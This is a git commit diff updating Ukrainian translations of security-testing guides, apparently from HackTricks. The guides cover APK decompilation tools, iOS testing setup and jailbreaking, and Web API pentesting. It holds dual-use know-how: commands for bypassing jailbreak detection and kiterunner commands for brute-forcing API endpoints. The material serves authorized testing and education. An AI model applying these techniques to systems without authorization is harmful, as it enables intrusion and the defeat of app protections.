Translated ['mobile-pentesting/android-app-pentesting/apk-decompilers.md

This commit is contained in:
Translator 2024-11-05 18:09:28 +00:00
parent 2e41511f3a
commit 837777f55c
5 changed files with 193 additions and 149 deletions

View file

@ -1,8 +1,8 @@
# APK decompilers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -14,10 +14,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
{% endhint %}
**Для отримання додаткової інформації про кожен інструмент перегляньте оригінальний пост з [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
**Для отримання додаткової інформації про кожен інструмент перегляньте оригінальний пост з** [**https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr**](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
@ -27,13 +25,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
**Jadx** пропонує зручний інтерфейс для декомпіляції Java коду з Android додатків. Рекомендується за його простоту використання на різних платформах.
- Щоб запустити GUI, перейдіть до каталогу bin і виконайте: `jadx-gui`
- Для використання з командного рядка, декомпіліруйте APK за допомогою: `jadx app.apk`
- Щоб вказати каталог виводу або налаштувати параметри декомпіляції: `jadx app.apk -d <шлях до каталогу виводу> --no-res --no-src --no-imports`
* Щоб запустити GUI, перейдіть до каталогу bin і виконайте: `jadx-gui`
* Для використання з командного рядка, декомпіліруйте APK за допомогою: `jadx app.apk`
* Щоб вказати каталог виводу або налаштувати параметри декомпіляції: `jadx app.apk -d <шлях до каталогу виводу> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
**GDA**, інструмент лише для Windows, пропонує розширені функції для реверс-інжинірингу Android додатків. Встановіть і запустіть GDA на вашій Windows системі, потім завантажте файл APK для аналізу.
**GDA**, інструмент лише для Windows, пропонує розширені функції для реверс-інжинірингу Android додатків. Встановіть і запустіть GDA на вашій системі Windows, потім завантажте файл APK для аналізу.
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
@ -43,37 +41,40 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
**Enjarify** перетворює Dalvik байт-код у Java байт-код, що дозволяє Java інструментам аналізувати Android додатки більш ефективно.
- Щоб використовувати Enjarify, запустіть: `enjarify app.apk`
Це генерує еквівалент Java байт-коду наданого APK.
* Щоб використовувати Enjarify, запустіть: `enjarify app.apk` Це генерує еквівалент Java байт-коду наданого APK.
### [CFR](https://github.com/leibnitz27/cfr)
**CFR** здатний декомпілірувати сучасні Java функції. Використовуйте його наступним чином:
- Для стандартної декомпіляції: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Для великих JAR файлів, налаштуйте виділення пам'яті JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* Для стандартної декомпіляції: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* Для великих JAR файлів, налаштуйте виділення пам'яті JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**, аналітичний декомпілятор, вимагає компіляції з виходу. Після компіляції:
- Декомпіліруйте JAR файл: `java -jar ./fernflower.jar "app.jar" "output_directory"`
Потім витягніть `.java` файли з згенерованого JAR за допомогою `unzip`.
* Декомпіліруйте JAR файл: `java -jar ./fernflower.jar "app.jar" "output_directory"` Потім витягніть `.java` файли з згенерованого JAR за допомогою `unzip`.
### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau** пропонує детальний контроль над декомпіляцією, особливо для обробки зовнішніх бібліотек.
- Використовуйте Krakatau, вказуючи шлях до стандартної бібліотеки та JAR файл для декомпіляції: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
* Використовуйте Krakatau, вказуючи шлях до стандартної бібліотеки та JAR файл для декомпіляції: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
Для простого декомпілювання з **procyon**:
- Декомпіліруйте JAR файл у вказаний каталог: `procyon -jar "app.jar" -o "output_directory"`
* Декомпіліруйте JAR файл у вказаний каталог: `procyon -jar "app.jar" -o "output_directory"`
### [frida-DEXdump](https://github.com/hluwa/frida-dexdump)
Цей інструмент можна використовувати для вивантаження DEX запущеного APK в пам'яті. Це допомагає обійти статичну обфускацію, яка видаляється під час виконання програми в пам'яті.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -85,5 +86,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# iOS Testing Environment
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -14,31 +14,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
{% endhint %}
## Apple Developer Program
**Provisioning identity** - це колекція публічних та приватних ключів, які асоційовані з обліковим записом розробника Apple. Щоб **підписувати додатки**, вам потрібно сплатити **99$/рік** для реєстрації в **Apple Developer Program**, щоб отримати вашу provisioning identity. Без цього ви не зможете запускати програми з вихідного коду на фізичному пристрої. Інший варіант - використовувати **jailbroken device**.
**Ідентифікатор для надання** - це набір публічних і приватних ключів, які пов'язані з обліковим записом розробника Apple. Щоб **підписувати додатки**, вам потрібно сплатити **99$/рік** для реєстрації в **Apple Developer Program**, щоб отримати свій ідентифікатор для надання. Без цього ви не зможете запускати програми з вихідного коду на фізичному пристрої. Інший варіант - використовувати **пристрій з джейлбрейком**.
Починаючи з Xcode 7.2, Apple надала можливість створити **безкоштовний профіль розробки iOS**, який дозволяє писати та тестувати ваш додаток на реальному iPhone. Перейдіть до _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Додати новий Appli ID з вашими обліковими даними) --> _Натисніть на створений Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> отово_\
\_\_Тоді, щоб запустити ваш додаток на iPhone, спочатку потрібно **вказати iPhone довіряти комп'ютеру.** Потім ви можете спробувати **запустити додаток на мобільному з Xcode,** але з'явиться помилка. Тож перейдіть до _Settings_ --> _General_ --> _Profiles and Device Management_ --> Виберіть ненадійний профіль і натисніть "**Довіряти**".
Починаючи з Xcode 7.2, Apple надала можливість створити **безкоштовний профіль для розробки iOS**, який дозволяє писати та тестувати ваш додаток на реальному iPhone. Перейдіть до _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Додати новий Appli ID з вашими обліковими даними) --> _Натисніть на створений Apple ID_ --> _Управління сертифікатами_ --> _+_ (Apple Development) --> отово_\
\_\_Потім, щоб запустити ваш додаток на iPhone, спочатку потрібно **вказати iPhone довіряти комп'ютеру.** Потім ви можете спробувати **запустити додаток на мобільному з Xcode,** але з'явиться помилка. Тож перейдіть до _Налаштування_ --> _Основні_ --> рофілі та управління пристроями_ --> Виберіть ненадійний профіль і натисніть "**Довіряти**".
Зверніть увагу, що **додатки, підписані одним і тим же сертифікатом підпису, можуть безпечно ділитися ресурсами, такими як елементи ключового сховища**.
Зверніть увагу, що **додатки, підписані одним і тим же сертифікатом підпису, можуть безпечно ділитися ресурсами, такими як елементи ключового ланцюга**.
Профілі provisioning зберігаються всередині телефону в **`/Library/MobileDevice/ProvisioningProfiles`**
Профілі для надання зберігаються всередині телефону в **`/Library/MobileDevice/ProvisioningProfiles`**
## **Simulator**
## **Симулятор**
{% hint style="info" %}
Зверніть увагу, що **симулятор не є тим же, що й емулятор**. Симулятор просто імітує поведінку пристрою та функції, але насправді їх не використовує.
{% endhint %}
### **Simulator**
### **Симулятор**
Перше, що вам потрібно знати, це те, що **виконання pentest всередині симулятора буде набагато більш обмеженим, ніж виконання на jailbroken device**.
Перше, що вам потрібно знати, це те, що **виконання пентесту всередині симулятора буде набагато більш обмеженим, ніж виконання його на пристрої з джейлбрейком**.
Усі інструменти, необхідні для створення та підтримки iOS додатка, **офіційно підтримуються лише на Mac OS**.\
Дефакто інструмент Apple для створення/налагодження/інструментування iOS додатків - це **Xcode**. Його можна використовувати для завантаження інших компонентів, таких як **симулятори** та різні **версії SDK**, необхідні для створення та **тестування** вашого додатка.\
Усі інструменти, необхідні для створення та підтримки iOS-додатка, **офіційно підтримуються лише на Mac OS**.\
Фактичний інструмент Apple для створення/налагодження/інструментування iOS-додатків - це **Xcode**. Його можна використовувати для завантаження інших компонентів, таких як **симулятори** та різні **версії SDK**, необхідні для створення та **тестування** вашого додатка.\
Рекомендується **завантажити** Xcode з **офіційного магазину додатків**. Інші версії можуть містити шкідливе ПЗ.
Файли симулятора можна знайти в `/Users/<username>/Library/Developer/CoreSimulator/Devices`
@ -50,9 +49,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
![](<../../.gitbook/assets/image (520).png>)
### Applications in the Simulator
### Додатки в симуляторі
Всередині `/Users/<username>/Library/Developer/CoreSimulator/Devices` ви можете знайти всі **встановлені симулятори**. Якщо ви хочете отримати доступ до файлів програми, створеної всередині одного з емуляторів, може бути важко дізнатися, **в якому з них встановлено додаток**. Швидкий спосіб **знайти правильний UID** - виконати додаток у симуляторі та виконати:
Всередині `/Users/<username>/Library/Developer/CoreSimulator/Devices` ви можете знайти всі **встановлені симулятори**. Якщо ви хочете отримати доступ до файлів програми, створеної в одному з емуляторів, може бути важко дізнатися, **в якому з них встановлено додаток**. Швидкий спосіб **знайти правильний UID** - виконати додаток у симуляторі та виконати:
```bash
xcrun simctl list | grep Booted
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
@ -67,34 +66,38 @@ And in this folder you can **find the package of the application.**
Corellium є єдиним публічно доступним емулятором iOS. Це корпоративне SaaS-рішення з ліцензійною моделлю на користувача і не пропонує жодної пробної ліцензії.
## Необхідність джейлбрейку
Перегляньте цей блог про те, як провести pentest iOS-додатку на **не джейлбрейкнутому пристрої**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
## Джейлбрейк
Apple суворо вимагає, щоб код, що виконується на iPhone, був **підписаний сертифікатом, виданим Apple**. **Джейлбрейк** — це процес активного **обходу таких обмежень** та інших заходів безпеки, встановлених ОС. Тому, як тільки пристрій зламано, **перевірка цілісності**, яка відповідає за перевірку встановлених додатків, патчується, тому вона **обходиться**.
Apple суворо вимагає, щоб код, що виконується на iPhone, був **підписаний сертифікатом, виданим Apple**. **Джейлбрейк** — це процес активного **обходу таких обмежень** та інших заходів безпеки, встановлених ОС. Тому, як тільки пристрій джейлбрейкнуто, **перевірка цілісності**, яка відповідає за перевірку встановлених додатків, патчується, тому вона **обходиться**.
{% hint style="info" %}
На відміну від Android, **ви не можете перейти в "Режим розробника"** в iOS, щоб запустити непідписаний/недовірений код на пристрої.
На відміну від Android, **ви не можете перейти в "Режим розробника"** в iOS, щоб запускати непідписаний/недовірений код на пристрої.
{% endhint %}
### Android Rooting vs. iOS Jailbreaking
Хоча їх часто порівнюють, **rooting** на Android і **jailbreaking** на iOS є принципово різними процесами. Rooting Android-пристроїв може включати **встановлення бінарного файлу `su`** або **заміна системи на кастомний ROM з root-доступом**, що не обов'язково вимагає експлойтів, якщо завантажувач розблоковано. **Флешинг кастомних ROM** замінює ОС пристрою після розблокування завантажувача, іноді вимагаючи експлойт.
На відміну від цього, пристрої iOS не можуть флешити кастомні ROM через обмеження завантажувача, який дозволяє завантажувати лише образи, підписані Apple. **Джейлбрейк iOS** має на меті обійти захист підписування коду Apple, щоб запустити непідписаний код, процес, ускладнений постійними покращеннями безпеки Apple.
На відміну від цього, пристрої iOS не можуть флешити кастомні ROM через обмеження завантажувача, який дозволяє завантажувати лише образи, підписані Apple. **Джейлбрейк iOS** має на меті обійти захист підписування коду Apple, щоб запускати непідписаний код, процес, ускладнений постійними покращеннями безпеки Apple.
### Виклики Джейлбрейку
### Виклики джейлбрейку
Джейлбрейк iOS стає все більш складним, оскільки Apple швидко патчує вразливості. **Пониження версії iOS** можливе лише протягом обмеженого часу після випуску, що робить джейлбрейк справою, чутливою до часу. Пристрої, що використовуються для тестування безпеки, не повинні оновлюватися, якщо не гарантовано повторний джейлбрейк.
Джейлбрейк iOS стає все більш складним, оскільки Apple швидко патчує вразливості. **Пониження iOS** можливе лише протягом обмеженого часу після випуску, що робить джейлбрейк справою, чутливою до часу. Пристрої, що використовуються для тестування безпеки, не повинні оновлюватися, якщо не гарантовано повторний джейлбрейк.
Оновлення iOS контролюються **механізмом виклику-відповіді** (SHSH blobs), що дозволяє встановлення лише для підписаних Apple відповідей. Цей механізм, відомий як "вікно підпису", обмежує можливість зберігати та пізніше використовувати OTA пакети прошивки. Веб-сайт [IPSW Downloads](https://ipsw.me) є ресурсом для перевірки поточних вікон підпису.
Оновлення iOS контролюються **механізмом виклику-відповіді** (SHSH blobs), що дозволяє встановлення лише для підписаних Apple відповідей. Цей механізм, відомий як "вікно підписання", обмежує можливість зберігати та пізніше використовувати OTA пакети прошивки. Вебсайт [IPSW Downloads](https://ipsw.me) є ресурсом для перевірки поточних вікон підписання.
### Види Джейлбрейку
### Варіанти джейлбрейку
* **Tethered джейлбрейки** вимагають підключення комп'ютера для кожного перезавантаження.
* **Semi-tethered джейлбрейки** дозволяють завантаження в режимі без джейлбрейку без комп'ютера.
* **Semi-tethered джейлбрейки** дозволяють завантаження в незламаний режим без комп'ютера.
* **Semi-untethered джейлбрейки** вимагають ручного повторного джейлбрейку без потреби в комп'ютері.
* **Untethered джейлбрейки** пропонують постійне рішення для джейлбрейку без необхідності повторного застосування.
### Інструменти та ресурси для Джейлбрейку
### Інструменти та ресурси для джейлбрейку
Інструменти для джейлбрейку варіюються в залежності від версії iOS та пристрою. Ресурси, такі як [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) та [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) надають актуальну інформацію. Приклади включають:
@ -104,22 +107,22 @@ Apple суворо вимагає, щоб код, що виконується н
Модифікація вашого пристрою несе ризики, і до джейлбрейку слід підходити з обережністю.
### Переваги та ризики Джейлбрейку
### Переваги та ризики джейлбрейку
Джейлбрейк **усуває накладене ОС пісочницю**, дозволяючи додаткам отримувати доступ до всієї файлової системи. Ця свобода дозволяє встановлювати непідтверджені додатки та отримувати доступ до більшої кількості API. Однак для звичайних користувачів джейлбрейк **не рекомендується** через потенційні ризики безпеки та нестабільність пристрою.
### **Після Джейлбрейку**
### **Після джейлбрейку**
{% content-ref url="basic-ios-testing-operations.md" %}
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
{% endcontent-ref %}
### **Виявлення Джейлбрейку**
### **Виявлення джейлбрейку**
**Кілька додатків намагатимуться виявити, чи пристрій зламано, і в такому випадку додаток не запуститься**
**Кілька додатків намагатимуться виявити, чи мобільний пристрій джейлбрейкнуто, і в такому випадку додаток не запуститься**
* Після джейлбрейку на iOS **файли та папки зазвичай встановлюються**, їх можна шукати, щоб визначити, чи пристрій зламано.
* На зламаному пристрої додатки отримують **доступ на читання/запис до нових файлів** поза пісочницею.
* Після джейлбрейку на iOS **файли та папки зазвичай встановлюються**, їх можна шукати, щоб визначити, чи пристрій джейлбрейкнуто.
* На джейлбрейкнутому пристрої додатки отримують **доступ на читання/запис до нових файлів** поза пісочницею.
* Деякі **API** **виклики** будуть **поводитися інакше**.
* Наявність служби **OpenSSH**.
* Виклик `/bin/sh` поверне **1** замість 0.
@ -128,17 +131,18 @@ Apple суворо вимагає, щоб код, що виконується н
Ви можете спробувати уникнути цього виявлення, використовуючи **objection's** `ios jailbreak disable`
## **Обхід Виявлення Джейлбрейку**
## **Обхід виявлення джейлбрейку**
* Ви можете спробувати уникнути цього виявлення, використовуючи **objection's** `ios jailbreak disable`
* Ви також можете встановити інструмент **Liberty Lite** (https://ryleyangus.com/repo/). Після додавання репозиторію, додаток повинен з'явитися на вкладці «Пошук».
* Ви також можете встановити інструмент **Liberty Lite** (https://ryleyangus.com/repo/). Після додавання репозиторію, додаток має з'явитися на вкладці «Пошук».
## Посилання
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -150,5 +154,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Web API Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -29,7 +29,7 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th
### **Understanding API Types**
* **SOAP/XML Web Services**: Використовують формат WSDL для документації, зазвичай знаходиться за шляхами `?wsdl`. Інструменти, такі як **SOAPUI** та **WSDLer** (розширення Burp Suite), є важливими для парсингу та генерації запитів. Приклад документації доступний на [DNE Online](http://www.dneonline.com/calculator.asmx).
* **REST APIs (JSON)**: Документація часто надається у файлах WADL, але інструменти, такі як [Swagger UI](https://swagger.io/tools/swagger-ui/), забезпечують більш зручний інтерфейс для взаємодії. **Postman** є цінним інструментом для створення та управління прикладами запитів.
* **REST APIs (JSON)**: Документація часто надається у файлах WADL, проте інструменти, такі як [Swagger UI](https://swagger.io/tools/swagger-ui/), забезпечують більш зручний інтерфейс для взаємодії. **Postman** є цінним інструментом для створення та управління прикладами запитів.
* **GraphQL**: Мова запитів для API, що пропонує повний та зрозумілий опис даних у вашому API.
### **Practice Labs**
@ -44,8 +44,8 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th
* **Endpoint Discovery**: Використовуйте шаблони API для виявлення прихованих кінцевих точок. Інструменти, такі як фуззери, можуть автоматизувати цей процес.
* **Parameter Tampering**: Експериментуйте з додаванням або заміною параметрів у запитах для доступу до несанкціонованих даних або функцій.
* **HTTP Method Testing**: Варіюйте методи запитів (GET, POST, PUT, DELETE, PATCH), щоб виявити несподівану поведінку або розкриття інформації.
* **Content-Type Manipulation**: Перемикайтеся між різними типами вмісту (x-www-form-urlencoded, application/xml, application/json), щоб перевірити наявність проблем з парсингом або вразливостей.
* **Advanced Parameter Techniques**: Тестуйте з несподіваними типами даних у JSON-навантаженнях або грайте з XML-даними для XXE-ін'єкцій. Також спробуйте забруднення параметрів і символи підстановки для більш широкого тестування.
* **Content-Type Manipulation**: Перемикайтеся між різними типами вмісту (x-www-form-urlencoded, application/xml, application/json), щоб перевірити на наявність проблем парсингу або вразливостей.
* **Advanced Parameter Techniques**: Тестуйте з несподіваними типами даних у JSON-навантаженнях або грайте з XML-даними для XXE-ін'єкцій. Також спробуйте забруднення параметрів та символи підстановки для більш широкого тестування.
* **Version Testing**: Старі версії API можуть бути більш вразливими до атак. Завжди перевіряйте та тестуйте проти кількох версій API.
### **Tools and Resources for API Pentesting**
@ -57,15 +57,16 @@ kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
* [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj - це інструмент командного рядка, призначений для допомоги в аудиті **викритих файлів визначення Swagger/OpenAPI**, перевіряючи пов'язані API-інтерфейси на наявність слабкої аутентифікації. Він також надає шаблони команд для ручного тестування вразливостей.
* Додаткові інструменти, такі як **automatic-api-attack-tool**, **Astra** та **restler-fuzzer**, пропонують спеціалізовані функції для тестування безпеки API, починаючи від симуляції атак до фуззингу та сканування вразливостей.
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Це інструмент безпеки API, який перевіряє ваш API на основі файлу OAS (інструмент написаний на Rust).
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Це інструмент безпеки API, який проводить аудит вашого API на основі файлу OAS (інструмент написаний на Rust).
### **Ресурси для навчання та практики**
* **OWASP API Security Top 10**: Основне читання для розуміння поширених вразливостей API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
* **API Security Checklist**: Всеосяжний контрольний список для забезпечення безпеки API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
* **Logger++ Filters**: Для пошуку вразливостей API, Logger++ пропонує корисні фільтри ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
* **API Endpoints List**: Кураторський список потенційних кінцевих точок API для тестування ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
* **API Endpoints List**: Кураторський список потенційних API-інтерфейсів для тестування ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## Посилання
@ -79,8 +80,8 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
{% hint style="success" %}
Навчайтеся та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Навчайтеся та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Навчайтеся та практикуйте Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Навчайтеся та практикуйте Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -88,7 +89,7 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
</details>
{% endhint %}

View file

@ -1,16 +1,16 @@
# CORS - Неправильні налаштування та обхід
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
<summary>Support HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
